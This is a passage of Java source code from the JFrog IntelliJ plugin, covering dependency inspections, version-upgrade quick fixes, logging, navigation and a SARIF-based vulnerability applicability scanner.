isDependencyOrPlugin(XmlTag xmlTag) { return StringUtils.equalsAny(xmlTag.getName(), MAVEN_DEPENDENCY_TAG, MAVEN_PLUGIN_TAG); } @Override boolean isDependency(PsiElement element) { PsiElement parentElement = element.getParent(); if ((parentElement instanceof XmlTag) && StringUtils.equalsAny(((XmlTag) parentElement).getName(), MAVEN_DEPENDENCIES_TAG, MAVEN_PLUGINS_TAG)) { return true; } PsiElement grandParentElement = parentElement.getParent(); return (grandParentElement instanceof XmlTag && StringUtils.equals(((XmlTag) grandParentElement).getName(), MAVEN_DEPENDENCY_MANAGEMENT)); } @Override ScannerBase getScanner(Project project, String path) { return ScanManager.getScanners(project).stream() .filter(MavenScanner.class::isInstance) .findAny() .orElse(null); } @Override String createComponentName(PsiElement element) { XmlTag groupId = ((XmlTagImpl) element).findFirstSubTag(MAVEN_GROUP_ID_TAG); XmlTag artifactId = ((XmlTagImpl) element).findFirstSubTag(MAVEN_ARTIFACT_ID_TAG); if (groupId == null || artifactId == null) { return null; } DomElement domElement = DomManager.getDomManager(element.getProject()).getDomElement((XmlTag) element); if (domElement instanceof MavenDomArtifactCoordinates) { return String.join(":", groupId.getValue().getText(), artifactId.getValue().getText()); } return null; } @Override UpgradeVersion getUpgradeVersion(String componentName, String fixVersion, Collection issue, String descriptorPath) { return new MavenUpgradeVersion(componentName, fixVersion, issue); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/inspections/NpmInspection.java ================================================ package com.jfrog.ide.idea.inspections; import com.intellij.codeInspection.ProblemsHolder; import com.intellij.json.psi.JsonElementVisitor; import com.intellij.json.psi.JsonProperty; import com.intellij.lang.annotation.AnnotationHolder; import com.intellij.openapi.project.Project; import com.intellij.psi.PsiElement; import com.intellij.psi.PsiElementVisitor; import com.jfrog.ide.idea.inspections.upgradeversion.NpmUpgradeVersion; import com.jfrog.ide.idea.inspections.upgradeversion.UpgradeVersion; import com.jfrog.ide.idea.scan.NpmScanner; import com.jfrog.ide.idea.scan.ScanManager; import com.jfrog.ide.idea.scan.ScannerBase; import com.jfrog.ide.idea.utils.Descriptor; import org.apache.commons.lang3.StringUtils; import org.jetbrains.annotations.NotNull; import java.util.Collection; /** * @author yahavi */ public class NpmInspection extends AbstractInspection { public NpmInspection() { super(Descriptor.NPM); } @NotNull @Override public PsiElementVisitor buildVisitor(@NotNull final ProblemsHolder holder, boolean isOnTheFly) { return new JsonElementVisitor() { @Override public void visitProperty(@NotNull JsonProperty element) { super.visitProperty(element); NpmInspection.this.visitElement(holder, element, isOnTheFly); } }; } @Override public void annotate(@NotNull PsiElement element, @NotNull AnnotationHolder holder) { if (element instanceof JsonProperty) { NpmInspection.this.visitElement(holder, element); } } @Override boolean isDependency(PsiElement element) { PsiElement parentElement = element.getParent().getParent(); return parentElement != null && StringUtils.equalsAny(parentElement.getFirstChild().getText(), "\"dependencies\"", "\"devDependencies\""); } @Override ScannerBase getScanner(Project project, String path) { return ScanManager.getScanners(project).stream() .filter(manager -> StringUtils.equals(manager.getProjectPath(), path)) .filter(this::isMatchingScanner) .findAny() .orElse(null); } boolean isMatchingScanner(ScannerBase scanner) { return scanner instanceof NpmScanner; } @Override String createComponentName(PsiElement element) { return StringUtils.unwrap(element.getFirstChild().getText(), "\""); } @Override UpgradeVersion getUpgradeVersion(String componentName, String fixVersion, Collection issue, String descriptorPath) { return new NpmUpgradeVersion(componentName, fixVersion, issue, descriptorPath); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/inspections/ShowInDependencyTree.java ================================================ package com.jfrog.ide.idea.inspections; import com.intellij.codeInsight.intention.HighPriorityAction; import com.intellij.codeInspection.LocalQuickFix; import com.intellij.codeInspection.ProblemDescriptor; import com.intellij.openapi.project.Project; import com.intellij.openapi.util.Iconable; import com.intellij.util.ui.tree.TreeUtil; import com.jfrog.ide.common.nodes.DependencyNode; import com.jfrog.ide.idea.ui.LocalComponentsTree; import com.jfrog.ide.idea.ui.utils.IconUtils; import com.jfrog.ide.idea.utils.Utils; import org.jetbrains.annotations.NotNull; import javax.swing.*; /** * Adds the yellow bulb action - "Show in JFrog plugin". * * @author yahavi */ public class ShowInDependencyTree implements LocalQuickFix, Iconable, HighPriorityAction { final static String SHOW_IN_TREE_MESSAGE = "Show vulnerability info in JFrog plugin"; private final DependencyNode node; private final String dependencyDescription; public ShowInDependencyTree(DependencyNode node, String dependencyDescription) { this.node = node; this.dependencyDescription = dependencyDescription; } @Override public Icon getIcon(int flags) { return IconUtils.load("jfrog_icon"); } @NotNull @Override public String getFamilyName() { return SHOW_IN_TREE_MESSAGE + " - " + dependencyDescription; } @Override public void applyFix(@NotNull Project project, @NotNull ProblemDescriptor descriptor) { Utils.focusJFrogToolWindow(project); TreeUtil.selectInTree(project, node, true, LocalComponentsTree.getInstance(project), true); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/inspections/YarnInspection.java ================================================ package com.jfrog.ide.idea.inspections; import com.jfrog.ide.idea.inspections.upgradeversion.UpgradeVersion; import com.jfrog.ide.idea.inspections.upgradeversion.YarnUpgradeVersion; import com.jfrog.ide.idea.scan.ScannerBase; import com.jfrog.ide.idea.scan.YarnScanner; import java.util.Collection; /** * @author michaels */ public class YarnInspection extends NpmInspection { @Override boolean isMatchingScanner(ScannerBase scanner) { return scanner instanceof YarnScanner; } @Override UpgradeVersion getUpgradeVersion(String componentName, String fixVersion, Collection issue, String descriptorPath) { return new YarnUpgradeVersion(componentName, fixVersion, issue, descriptorPath); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/inspections/upgradeversion/GoUpgradeVersion.java ================================================ package com.jfrog.ide.idea.inspections.upgradeversion; import com.intellij.codeInspection.ProblemDescriptor; import com.intellij.openapi.project.Project; import com.jfrog.ide.common.go.GoComponentUpdater; import com.jfrog.ide.idea.utils.GoUtils; import org.jetbrains.annotations.NotNull; import java.io.IOException; import java.nio.file.Path; import java.nio.file.Paths; import java.util.Collection; /** * Adds the yellow bulb action - "Upgrade Version". * * @author michaels */ public class GoUpgradeVersion extends UpgradeVersion { private final String descriptorPath; public GoUpgradeVersion(String componentName, String fixVersion, Collection issue, String descriptorPath) { super(componentName, fixVersion, issue); this.descriptorPath = descriptorPath; } @Override public void upgradeComponentVersion(@NotNull Project project, @NotNull ProblemDescriptor descriptor) throws IOException { Path modulePath = Paths.get(descriptorPath).getParent(); String goExec = GoUtils.getGoExeAndSetEnv(env, project); GoComponentUpdater goComponentUpdater = new GoComponentUpdater(modulePath, this.log, this.env, goExec); goComponentUpdater.run(componentName, fixVersion); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/inspections/upgradeversion/GradleGroovyUpgradeVersion.java ================================================ package com.jfrog.ide.idea.inspections.upgradeversion; import com.intellij.codeInspection.ProblemDescriptor; import com.intellij.openapi.project.Project; import com.intellij.psi.PsiElement; import org.apache.commons.lang3.StringUtils; import org.jetbrains.annotations.NotNull; import org.jetbrains.plugins.groovy.lang.psi.GroovyPsiElementFactory; import org.jetbrains.plugins.groovy.lang.psi.api.statements.arguments.GrNamedArgument; import org.jetbrains.plugins.groovy.lang.psi.api.statements.expressions.literals.GrLiteral; import org.jetbrains.plugins.groovy.lang.psi.api.util.GrNamedArgumentsOwner; import java.util.Collection; import static com.jfrog.ide.idea.inspections.GradleGroovyInspection.GRADLE_VERSION_KEY; import static com.jfrog.ide.idea.inspections.GradleGroovyInspection.getLiteralValue; import static com.jfrog.ide.idea.inspections.GradleInspection.stripVersion; /** * Adds the yellow bulb action - "Upgrade Version". * * @author michaels */ public class GradleGroovyUpgradeVersion extends UpgradeVersion { public GradleGroovyUpgradeVersion(String componentName, String fixVersion, Collection issue) { super(componentName, fixVersion, issue); } @Override public void upgradeComponentVersion(@NotNull Project project, @NotNull ProblemDescriptor descriptor) { PsiElement element = descriptor.getPsiElement(); GroovyPsiElementFactory psiFactory = GroovyPsiElementFactory.getInstance(project); if (element instanceof GrNamedArgumentsOwner) { // group: 'com', name: 'guava', version: '1.1.1' >> group: 'com', name: 'guava', version: '2.2.2' GrNamedArgument versionArg = ((GrNamedArgumentsOwner) element).findNamedArgument(GRADLE_VERSION_KEY); if (versionArg != null && versionArg.getExpression() != null) { versionArg.getExpression().replace(psiFactory.createExpressionFromText(StringUtils.wrap(fixVersion, "'"))); return; } } if (element instanceof GrLiteral) { // 'com:guava:1.1.1' >> 'com:guava:2.2.2' String componentString = getLiteralValue((GrLiteral) element); String fixedComponentString = String.join(":", stripVersion(componentString), fixVersion); element.replace(psiFactory.createExpressionFromText(StringUtils.wrap(fixedComponentString, "'"))); } } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/inspections/upgradeversion/GradleKotlinUpgradeVersion.java ================================================ package com.jfrog.ide.idea.inspections.upgradeversion; import com.intellij.codeInspection.ProblemDescriptor; import com.intellij.openapi.project.Project; import org.apache.commons.lang3.StringUtils; import org.jetbrains.annotations.NotNull; import org.jetbrains.kotlin.psi.KtExpression; import org.jetbrains.kotlin.psi.KtStringTemplateExpression; import org.jetbrains.kotlin.psi.KtValueArgument; import org.jetbrains.kotlin.psi.KtValueArgumentList; import java.util.Collection; import java.util.List; import static com.jfrog.ide.idea.inspections.GradleInspection.stripVersion; /** * Adds the yellow bulb action - "Upgrade Version". * * @author michaels */ public class GradleKotlinUpgradeVersion extends UpgradeVersion { public GradleKotlinUpgradeVersion(String componentName, String fixVersion, Collection issue) { super(componentName, fixVersion, issue); } @Override public void upgradeComponentVersion(@NotNull Project project, @NotNull ProblemDescriptor descriptor) { List argumentList = ((KtValueArgumentList) descriptor.getPsiElement()).getArguments(); String updateText = ""; KtExpression expressionToUpdate = null; if (argumentList.size() == 1) { // "commons-collections:commons-collections:3.2.2" expressionToUpdate = argumentList.get(0).getArgumentExpression(); if (expressionToUpdate != null) { String stripQuotes = StringUtils.unwrap(expressionToUpdate.getText(), "\""); updateText = stripVersion(stripQuotes) + ":" + fixVersion; } } else if (argumentList.size() >= 3) { // "commons-collections", "commons-collections", "3.2.2" expressionToUpdate = argumentList.get(2).getArgumentExpression(); updateText = fixVersion; } if (expressionToUpdate instanceof KtStringTemplateExpression) { ((KtStringTemplateExpression) expressionToUpdate).updateText(StringUtils.wrap(updateText, "\"")); } } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/inspections/upgradeversion/MavenUpgradeVersion.java ================================================ package com.jfrog.ide.idea.inspections.upgradeversion; import com.intellij.codeInspection.ProblemDescriptor; import com.intellij.openapi.project.Project; import com.intellij.psi.impl.source.xml.XmlTagImpl; import com.intellij.psi.xml.XmlTag; import com.intellij.psi.xml.XmlTagValue; import org.jetbrains.annotations.NotNull; import org.jetbrains.idea.maven.dom.MavenDomUtil; import org.jetbrains.idea.maven.dom.model.MavenDomProjectModel; import java.util.Collection; import java.util.regex.Matcher; import java.util.regex.Pattern; import static org.jetbrains.idea.maven.dom.MavenDomProjectProcessorUtils.findProperty; /** * Adds the yellow bulb action - "Upgrade Version". * * @author michaels */ public class MavenUpgradeVersion extends UpgradeVersion { private static final Pattern POM_PROPERTY_REGEX = Pattern.compile("^\\$\\{(.*)}"); public MavenUpgradeVersion(String componentName, String fixVersion, Collection issue) { super(componentName, fixVersion, issue); } @Override public void upgradeComponentVersion(@NotNull Project project, @NotNull ProblemDescriptor descriptor) { final XmlTag[] versions = ((XmlTagImpl) descriptor.getPsiElement()).findSubTags("version"); XmlTagValue versionTagValue = versions[0].getValue(); Matcher propMatcher = POM_PROPERTY_REGEX.matcher(versionTagValue.getText()); if (!propMatcher.find()) { // Simple version tag. (example: '1.2.3') versionTagValue.setText(fixVersion); } else { // Property version tag. (example: '${my.ver}') MavenDomProjectModel domModel = MavenDomUtil.getMavenDomProjectModel(project, descriptor.getPsiElement().getContainingFile().getVirtualFile()); if (domModel != null) { XmlTag prop = findProperty(domModel.getProperties(), propMatcher.group(1)); if (prop != null) { prop.getValue().setText(fixVersion); } } } } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/inspections/upgradeversion/NpmUpgradeVersion.java ================================================ package com.jfrog.ide.idea.inspections.upgradeversion; import com.intellij.codeInspection.ProblemDescriptor; import com.intellij.openapi.project.Project; import com.jfrog.ide.common.npm.NpmComponentUpdater; import org.jetbrains.annotations.NotNull; import java.io.IOException; import java.nio.file.Path; import java.nio.file.Paths; import java.util.Collection; /** * Adds the yellow bulb action - "Upgrade Version". * * @author michaels */ public class NpmUpgradeVersion extends UpgradeVersion { private final String descriptorPath; public NpmUpgradeVersion(String componentName, String fixVersion, Collection issue, String descriptorPath) { super(componentName, fixVersion, issue); this.descriptorPath = descriptorPath; } @Override public void upgradeComponentVersion(@NotNull Project project, @NotNull ProblemDescriptor descriptor) throws IOException { Path modulePath = Paths.get(descriptorPath).getParent(); NpmComponentUpdater npmComponentUpdater = new NpmComponentUpdater(modulePath, this.log, this.env); npmComponentUpdater.run(componentName, fixVersion); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/inspections/upgradeversion/UpgradeVersion.java ================================================ package com.jfrog.ide.idea.inspections.upgradeversion; import com.intellij.codeInsight.intention.HighPriorityAction; import com.intellij.codeInspection.LocalQuickFix; import com.intellij.codeInspection.ProblemDescriptor; import com.intellij.openapi.application.ApplicationManager; import com.intellij.openapi.command.WriteCommandAction; import com.intellij.openapi.progress.ProgressManager; import com.intellij.openapi.progress.Task; import com.intellij.openapi.project.Project; import com.intellij.openapi.util.Iconable; import com.intellij.util.EnvironmentUtil; import com.jfrog.ide.idea.log.Logger; import com.jfrog.ide.idea.ui.utils.IconUtils; import org.jetbrains.annotations.NotNull; import javax.swing.*; import java.io.IOException; import java.util.Collection; import java.util.HashMap; import java.util.Map; /** * Adds the yellow bulb action - "Upgrade Version". * * @author michaels */ public abstract class UpgradeVersion implements LocalQuickFix, Iconable, HighPriorityAction { protected String componentName; protected String fixVersion; protected String issue; protected Logger log; protected Map env; public UpgradeVersion(String componentName, String fixVersion, Collection issue) { this.componentName = componentName; this.fixVersion = fixVersion; this.issue = issue.toString(); this.log = Logger.getInstance(); this.env = new HashMap<>(EnvironmentUtil.getEnvironmentMap()); } @Override public Icon getIcon(int flags) { return IconUtils.load("jfrog_icon"); } @NotNull @Override public String getFamilyName() { return "Upgrade version to " + fixVersion + " to fix " + issue; } @Override public void applyFix(@NotNull Project project, @NotNull ProblemDescriptor descriptor) { Task.Backgroundable scanAndUpdateTask = new Task.Backgroundable(project, "Upgrading dependency...") { @Override public void run(@NotNull com.intellij.openapi.progress.ProgressIndicator indicator) { ApplicationManager.getApplication().invokeAndWait(() -> { WriteCommandAction.runWriteCommandAction(project, () -> { try { upgradeComponentVersion(project, descriptor); log.info("Upgraded " + componentName + " to version " + fixVersion + " successfully."); } catch (IOException e) { log.error("Failed while trying to upgrade component " + componentName + " to version " + fixVersion + ". Error: " + e); } }); descriptor.getPsiElement().getContainingFile().getVirtualFile().refresh(false, false); }); } }; ProgressManager.getInstance().run(scanAndUpdateTask); } abstract public void upgradeComponentVersion(@NotNull Project project, @NotNull ProblemDescriptor descriptor) throws IOException; } ================================================ FILE: src/main/java/com/jfrog/ide/idea/inspections/upgradeversion/YarnUpgradeVersion.java ================================================ package com.jfrog.ide.idea.inspections.upgradeversion; import com.intellij.codeInspection.ProblemDescriptor; import com.intellij.openapi.project.Project; import com.jfrog.ide.common.yarn.YarnComponentUpdater; import org.jetbrains.annotations.NotNull; import java.io.IOException; import java.nio.file.Path; import java.nio.file.Paths; import java.util.Collection; /** * Adds the yellow bulb action - "Upgrade Version". * * @author michaels */ public class YarnUpgradeVersion extends UpgradeVersion { private final String descriptorPath; public YarnUpgradeVersion(String componentName, String fixVersion, Collection issue, String descriptorPath) { super(componentName, fixVersion, issue); this.descriptorPath = descriptorPath; } @Override public void upgradeComponentVersion(@NotNull Project project, @NotNull ProblemDescriptor descriptor) throws IOException { Path modulePath = Paths.get(descriptorPath).getParent(); YarnComponentUpdater yarnComponentUpdater = new YarnComponentUpdater(modulePath, this.log, this.env); yarnComponentUpdater.run(componentName, fixVersion); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/log/Logger.java ================================================ package com.jfrog.ide.idea.log; import com.intellij.notification.*; import com.intellij.openapi.actionSystem.AnAction; import com.intellij.openapi.actionSystem.AnActionEvent; import com.intellij.openapi.application.ApplicationManager; import com.intellij.openapi.options.Configurable; import com.intellij.openapi.options.ShowSettingsUtil; import com.intellij.openapi.project.Project; import com.intellij.openapi.ui.popup.Balloon; import com.intellij.openapi.ui.popup.JBPopupFactory; import com.intellij.openapi.wm.StatusBar; import com.intellij.openapi.wm.WindowManager; import com.intellij.ui.JBColor; import com.intellij.ui.awt.RelativePoint; import com.jfrog.ide.idea.ui.utils.IconUtils; import org.apache.commons.lang3.StringUtils; import org.codehaus.plexus.util.ExceptionUtils; import org.jetbrains.annotations.NotNull; import org.jfrog.build.api.util.Log; import static javax.swing.event.HyperlinkEvent.EventType.ACTIVATED; /** * @author yahavi */ public class Logger implements Log { private static final long serialVersionUID = 1L; private static final NotificationGroup EVENT_LOG_NOTIFIER = NotificationGroupManager.getInstance().getNotificationGroup("JFrog Log"); private static final NotificationGroup BALLOON_NOTIFIER = NotificationGroupManager.getInstance().getNotificationGroup("JFrog Errors"); private static final com.intellij.openapi.diagnostic.Logger ideaLogger = com.intellij.openapi.diagnostic.Logger.getInstance(Logger.class); private static Notification lastNotification; private static final String INFORMATION_TITLE = "JFrog"; private static final String ERROR_TITLE = "JFrog scan failed"; public static Logger getInstance() { return ApplicationManager.getApplication().getService(Logger.class); } private Logger() { } @Override public void debug(String message) { ideaLogger.debug(message); } @Override public void info(String message) { ideaLogger.info(message); NotificationType notificationType = NotificationType.INFORMATION; log(INFORMATION_TITLE, message, notificationType); } @Override public void warn(String message) { ideaLogger.warn(message); NotificationType notificationType = NotificationType.WARNING; log(INFORMATION_TITLE, message, notificationType); } /** * Log an error. * Notice - For the best user experience, make sure that only interactive actions should call this method. * * @param message - The message to log */ @Override public void error(String message) { // We log to IntelliJ log in "warn" log level to avoid popup annoying fatal errors ideaLogger.warn(message); NotificationType notificationType = NotificationType.ERROR; popupBalloon(message, notificationType); log(ERROR_TITLE, message, notificationType); } /** * Log an error. * Notice - For the best user experience, make sure that only interactive actions should call this method. * * @param message - The message to log * @param t - The exception raised */ @Override public void error(String message, Throwable t) { // We log to IntelliJ log in "warn" log level to avoid popup annoying fatal errors ideaLogger.warn(message, t); NotificationType notificationType = NotificationType.ERROR; popupBalloon(message, notificationType); String title = StringUtils.defaultIfBlank(t.getMessage(), ERROR_TITLE); log(title, message + System.lineSeparator() + ExceptionUtils.getStackTrace(t), notificationType); } private static void log(String title, String details, NotificationType notificationType) { if (StringUtils.isBlank(details)) { details = title; } Notifications.Bus.notify(EVENT_LOG_NOTIFIER.createNotification(title, prependPrefix(details, notificationType), notificationType)); } private static void popupBalloon(String content, NotificationType notificationType) { if (lastNotification != null) { lastNotification.hideBalloon(); } if (StringUtils.isBlank(content)) { content = ERROR_TITLE; } Notification notification = BALLOON_NOTIFIER.createNotification(ERROR_TITLE, content, notificationType); lastNotification = notification; Notifications.Bus.notify(notification); } private static String prependPrefix(String message, NotificationType notificationType) { return switch (notificationType) { case WARNING -> "[WARN] " + message; case ERROR -> "[ERROR] " + message; default -> "[INFO] " + message; }; } /** * Add a log message with an open settings link. * Usage example: * Logger.openSettings("It looks like Gradle home was not properly set in your project. * Click here to set Gradle home.", project, GradleConfigurable.class); * * @param details - The log message * @param project - IDEA project * @param configurable - IDEA settings to open */ public static void addOpenSettingsLink(String details, Project project, Class configurable) { EVENT_LOG_NOTIFIER.createNotification(INFORMATION_TITLE, prependPrefix(details, NotificationType.INFORMATION), NotificationType.INFORMATION) .addAction(new AnAction() { @Override public void actionPerformed(@NotNull AnActionEvent e) { ShowSettingsUtil.getInstance().showSettingsDialog(project, configurable); } }) .notify(project); } /** * Popup a balloon with an actionable link. * Usage example: * Logger.showActionableBalloon(project, * "The scan results have expired. Click here to trigger a scan.", * () -> ScanManager.getInstance(project).startScan()); * * @param project - IDEA project * @param htmlContent - The log message * @param action - The action to perform */ public static void showActionableBalloon(Project project, String htmlContent, Runnable action) { StatusBar statusBar = WindowManager.getInstance().getStatusBar(project); JBPopupFactory.getInstance().createHtmlTextBalloonBuilder(htmlContent, IconUtils.load("jfrog_icon"), JBColor.foreground(), JBColor.background(), event -> { if (event.getEventType() != ACTIVATED) { return; } action.run(); }) .setCloseButtonEnabled(true) .setHideOnAction(true) .setHideOnClickOutside(true) .setHideOnLinkClick(true) .setHideOnKeyOutside(true) .setDialogMode(true) .createBalloon() .show(RelativePoint.getNorthWestOf(statusBar.getComponent()), Balloon.Position.atRight); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/log/ProgressIndicatorImpl.java ================================================ package com.jfrog.ide.idea.log; import com.intellij.openapi.progress.ProgressIndicator; /** * @author yahavi */ public class ProgressIndicatorImpl implements com.jfrog.ide.common.log.ProgressIndicator { private final ProgressIndicator indicator; public ProgressIndicatorImpl(ProgressIndicator indicator) { this.indicator = indicator; } @Override public void setFraction(double fraction) { indicator.setIndeterminate(false); indicator.setFraction(fraction); } @Override public void setIndeterminate(boolean indeterminate) { indicator.setIndeterminate(true); } @Override public void setText(String text) { indicator.setText(text); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/navigation/NavigationService.java ================================================ package com.jfrog.ide.idea.navigation; import com.google.common.collect.Maps; import com.intellij.openapi.editor.Document; import com.intellij.openapi.project.Project; import com.intellij.psi.FileViewProvider; import com.intellij.psi.PsiElement; import com.intellij.psi.PsiFile; import com.jfrog.ide.common.nodes.DependencyNode; import org.jetbrains.annotations.NotNull; import java.util.Collections; import java.util.HashSet; import java.util.Map; import java.util.Set; /** * Created by Bar Belity on 27/04/2020. * Manage navigation from node in Issues-tree to its corresponding item in the project descriptor. */ public class NavigationService { private final Map> navigationMap = Maps.newHashMap(); public static NavigationService getInstance(@NotNull Project project) { return project.getService(NavigationService.class); } /** * Clear existing navigation map. */ public static void clearNavigationMap(@NotNull Project project) { NavigationService navigationService = NavigationService.getInstance(project); navigationService.navigationMap.clear(); } /** * Add a navigation element to the node in tree. * * @param treeNode The tree-node to register the navigation from. * @param navigationTargetElement The PsiElement we register the navigation to. */ public void addNavigation(DependencyNode treeNode, PsiElement navigationTargetElement, String componentName) { PsiFile containingFile = navigationTargetElement.getContainingFile(); FileViewProvider fileViewProvider = containingFile.getViewProvider(); Document document = fileViewProvider.getDocument(); if (document == null) { return; } NavigationTarget navigationTarget = new NavigationTarget(navigationTargetElement, document.getLineNumber(navigationTargetElement.getTextOffset()), componentName); Set navigationTargets = navigationMap.get(treeNode); if (navigationTargets == null) { navigationTargets = new HashSet<>(Collections.singletonList(navigationTarget)); navigationMap.put(treeNode, navigationTargets); return; } navigationTargets.add(navigationTarget); } /** * Get navigation targets for a specific node in tree. * * @param treeNode The tree-node to get its navigation. * @return Set of candidates for navigation. */ public Set getNavigation(DependencyNode treeNode) { return navigationMap.get(treeNode); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/navigation/NavigationTarget.java ================================================ package com.jfrog.ide.idea.navigation; import com.intellij.psi.PsiElement; import java.util.Objects; /** * Created by Bar Belity on 14/05/2020. */ public class NavigationTarget { private final PsiElement element; private final int lineNumber; private final String componentName; NavigationTarget(PsiElement element, int lineNumber, String componentName) { this.element = element; this.lineNumber = lineNumber; this.componentName = componentName; } public PsiElement getElement() { return element; } public int getLineNumber() { return lineNumber; } public String getComponentName() { return componentName; } @Override public boolean equals(Object o) { if (this == o) return true; if (!(o instanceof NavigationTarget)) return false; NavigationTarget that = (NavigationTarget) o; return lineNumber == that.lineNumber && element.isValid() && that.element.isValid() && Objects.equals(element.getContainingFile(), that.element.getContainingFile()); } @Override public int hashCode() { return Objects.hash(element.getContainingFile(), lineNumber); } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/ApplicabilityScannerExecutor.java ================================================ package com.jfrog.ide.idea.scan; import com.jfrog.ide.common.log.ProgressIndicator; import com.jfrog.ide.common.nodes.ApplicableIssueNode; import com.jfrog.ide.common.nodes.FileTreeNode; import com.jfrog.ide.common.nodes.VulnerabilityNode; import com.jfrog.ide.common.nodes.subentities.SourceCodeScanType; import com.jfrog.ide.idea.inspections.JFrogSecurityWarning; import com.jfrog.ide.idea.scan.data.*; import com.jfrog.xray.client.services.entitlements.Feature; import org.apache.commons.lang3.StringUtils; import org.jfrog.build.api.util.Log; import java.io.IOException; import java.nio.file.Path; import java.util.*; import java.util.stream.Collectors; /** * @author Tal Arian */ public class ApplicabilityScannerExecutor extends ScanBinaryExecutor { private static final List SCANNER_ARGS = List.of("ca"); private static final List SUPPORTED_PACKAGE_TYPES = List.of(PackageManagerType.PYPI, PackageManagerType.NPM, PackageManagerType.YARN, PackageManagerType.GRADLE, PackageManagerType.MAVEN); public ApplicabilityScannerExecutor(Log log) { super(SourceCodeScanType.CONTEXTUAL, log); supportedPackageTypes = SUPPORTED_PACKAGE_TYPES; } public List execute(ScanConfig.Builder inputFileBuilder, Runnable checkCanceled, ProgressIndicator indicator) throws IOException, InterruptedException { return super.execute(inputFileBuilder, SCANNER_ARGS, checkCanceled, indicator); } @Override protected List parseOutputSarif(Path outputFile) throws IOException, IndexOutOfBoundsException { Output output = getOutputObj(outputFile); List warnings = new ArrayList<>(); for (Run run : output.getRuns()) { List rules = run.getTool().getDriver().getRules(); Map> resultsByRule = run.getResults().stream() .filter(SarifResult::isNotSuppressed) .filter(r -> !"informational".equals(r.getKind())) .collect(Collectors.groupingBy(SarifResult::getRuleId)); for (Rule rule : getUniqueRules(rules)) { Optional props = rule.getRuleProperties(); if (props.isEmpty()) { continue; } String applicability = props.get().getApplicability(); if (applicability == null) { continue; } if ("applicable".equals(applicability)) { List evidence = resultsByRule.getOrDefault(rule.getId(), List.of()); for (SarifResult result : evidence) { if (!result.getLocations().isEmpty()) { warnings.add(new JFrogSecurityWarning(result, scanType, rule)); } } } else if ("not_applicable".equals(applicability)) { warnings.add(JFrogSecurityWarning.notApplicable(rule.getId(), scanType)); } } } return warnings; } private List getUniqueRules(List rules) { Map ruleMap = new LinkedHashMap<>(); for (Rule rule : rules) { Rule existing = ruleMap.get(rule.getId()); if (existing == null) { ruleMap.put(rule.getId(), rule); } else { Optional existingProps = existing.getRuleProperties(); if (existingProps.isPresent() && "not_applicable".equals(existingProps.get().getApplicability())) { Optional currentProps = rule.getRuleProperties(); if (currentProps.isPresent() && !"not_applicable".equals(currentProps.get().getApplicability())) { ruleMap.put(rule.getId(), rule); } } } } return new ArrayList<>(ruleMap.values()); } @Override List createSpecificFileIssueNodes(List warnings) { return createSpecificFileIssueNodes(warnings, new HashMap<>()); } List createSpecificFileIssueNodes(List warnings, Map> issuesMap) { HashMap results = new HashMap<>(); for (JFrogSecurityWarning warning : warnings) { // Update all VulnerabilityNodes that have the warning's CVE String cve = StringUtils.removeStart(warning.getRuleID(), "applic_"); List issues = issuesMap.get(cve); if (issues != null) { if (warning.isApplicable()) { // Create FileTreeNodes for files with applicable issues FileTreeNode fileNode = results.get(warning.getFilePath()); if (fileNode == null) { fileNode = new FileTreeNode(warning.getFilePath()); results.put(warning.getFilePath(), fileNode); } ApplicableIssueNode applicableIssue = new ApplicableIssueNode( cve, warning.getLineStart(), warning.getColStart(), warning.getLineEnd(), warning.getColEnd(), warning.getFilePath(), warning.getReason(), warning.getLineSnippet(), warning.getScannerSearchTarget(), issues.get(0), warning.getRuleID()); fileNode.addIssue(applicableIssue); for (VulnerabilityNode issue : issues) { issue.updateApplicableInfo(applicableIssue); } } else { // Mark non-applicable vulnerabilities. for (VulnerabilityNode issue : issues) { issue.setNotApplicable(); } } } } return new ArrayList<>(results.values()); } @Override Feature getScannerFeatureName() { return Feature.CONTEXTUAL_ANALYSIS; } } ================================================ FILE: src/main/java/com/jfrog/ide/idea/scan/GoScanner.java ================================================ package com.jfrog.ide.idea.scan; import com.google.common.collect.Maps; import com.intellij.diagnostic.PluginException; import com.intellij.openapi.project.Project; import com.intellij.openapi.vfs.LocalFileSystem; import com.intellij.openapi.vfs.VirtualFile; import com.intellij.psi.PsiFile; import com.intellij.psi.PsiManager; import com.intellij.util.EnvironmentUtil; import com.jfrog.ide.common.deptree.DepTree; import com.jfrog.ide.common.go.GoTreeBuilder; import com.jfrog.ide.common.scan.ComponentPrefix; import com.jfrog.ide.common.scan.ScanLogic; import com.jfrog.ide.idea.inspections.AbstractInspection; import com.jfrog.ide.idea.inspections.GoInspection; import com.jfrog.ide.idea.scan.data.PackageManagerType; import com.jfrog.ide.idea.ui.ComponentsTree; import com.jfrog.ide.idea.ui.menus.filtermanager.ConsistentFilterManager; import com.jfrog.ide.idea.utils.GoUtils; import javax.annotation.Nullable; import java.io.IOException; import java.nio.file.Paths; import java.util.Map; import java.util.concurrent.ExecutorService; /** * Created by Bar Belity on 06/02/2020. */ public class GoScanner extends SingleDescriptorScanner { private final GoTreeBuilder goTreeBuilder; /** * @param project currently opened IntelliJ project. We'll use this project to retrieve project based services * like {@link ConsistentFilterManager} and {@link ComponentsTree}. * @param basePath the go.mod directory * @param executor an executor that should limit the number of running tasks to 3 * @param scanLogic the scan logic to use */ GoScanner(Project project, String basePath, ExecutorService executor, ScanLogic scanLogic) { super(project, basePath, ComponentPrefix.GO, executor, Paths.get(basePath, "go.mod").toString(), scanLogic); getLog().info("Found Go project: " + getProjectPath()); Map env = Maps.newHashMap(EnvironmentUtil.getEnvironmentMap()); String goExec = null; try { goExec = GoUtils.getGoExeAndSetEnv(env, project); } catch (NoClassDefFoundError error) { getLog().warn("Go plugin is not installed. Install it to get a better experience."); } goTreeBuilder = new GoTreeBuilder(goExec, Paths.get(basePath), descriptorFilePath, env, getLog()); } @Override protected DepTree 